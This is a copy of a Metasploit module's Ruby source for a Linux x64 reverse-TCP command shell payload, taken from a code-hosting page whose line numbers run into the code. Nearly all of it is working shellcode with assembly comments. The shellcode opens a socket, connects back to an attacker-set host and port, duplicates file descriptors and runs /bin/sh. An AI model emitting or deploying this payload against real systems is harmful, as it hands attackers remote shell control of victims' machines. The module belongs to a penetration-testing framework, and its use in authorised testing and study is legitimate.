Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb
Views: 11782
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 74910include Msf::Payload::Single11include Msf::Payload::Linux12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Linux Command Shell, Reverse TCP Inline',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => 'ricky',19'License' => MSF_LICENSE,20'Platform' => 'linux',21'Arch' => ARCH_X64,22'Handler' => Msf::Handler::ReverseTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' =>25{26'Offsets' =>27{28'LHOST' => [ 20, 'ADDR' ],29'LPORT' => [ 18, 'n' ],30},31'Payload' =>32"\x6a\x29" + # pushq $0x2933"\x58" + # pop %rax34"\x99" + # cltd35"\x6a\x02" + # pushq $0x236"\x5f" + # pop %rdi37"\x6a\x01" + # pushq $0x138"\x5e" + # pop %rsi39"\x0f\x05" + # syscall40"\x48\x97" + # xchg %rax,%rdi41"\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx42"\x15\xb3" + #43"\x7f\x00\x00\x01" + #44"\x51" + # push %rcx45"\x48\x89\xe6" + # mov %rsp,%rsi46"\x6a\x10" + # pushq $0x1047"\x5a" + # pop %rdx48"\x6a\x2a" + # pushq $0x2a49"\x58" + # pop %rax50"\x0f\x05" + # syscall51"\x6a\x03" + # pushq $0x352"\x5e" + # pop %rsi53"\x48\xff\xce" + # dec %rsi54"\x6a\x21" + # pushq $0x2155"\x58" + # pop %rax56"\x0f\x05" + # syscall57"\x75\xf6" + # jne 27 <dup2_loop>58"\x6a\x3b" + # pushq $0x3b59"\x58" + # pop %rax60"\x99" + # cltd61"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx62"\x73\x68\x00" + #63"\x53" + # push %rbx64"\x48\x89\xe7" + # mov %rsp,%rdi65"\x52" + # push %rdx66"\x57" + # push %rdi67"\x48\x89\xe6" + # mov %rsp,%rsi68"\x0f\x05" # syscall69}70))71end72end737475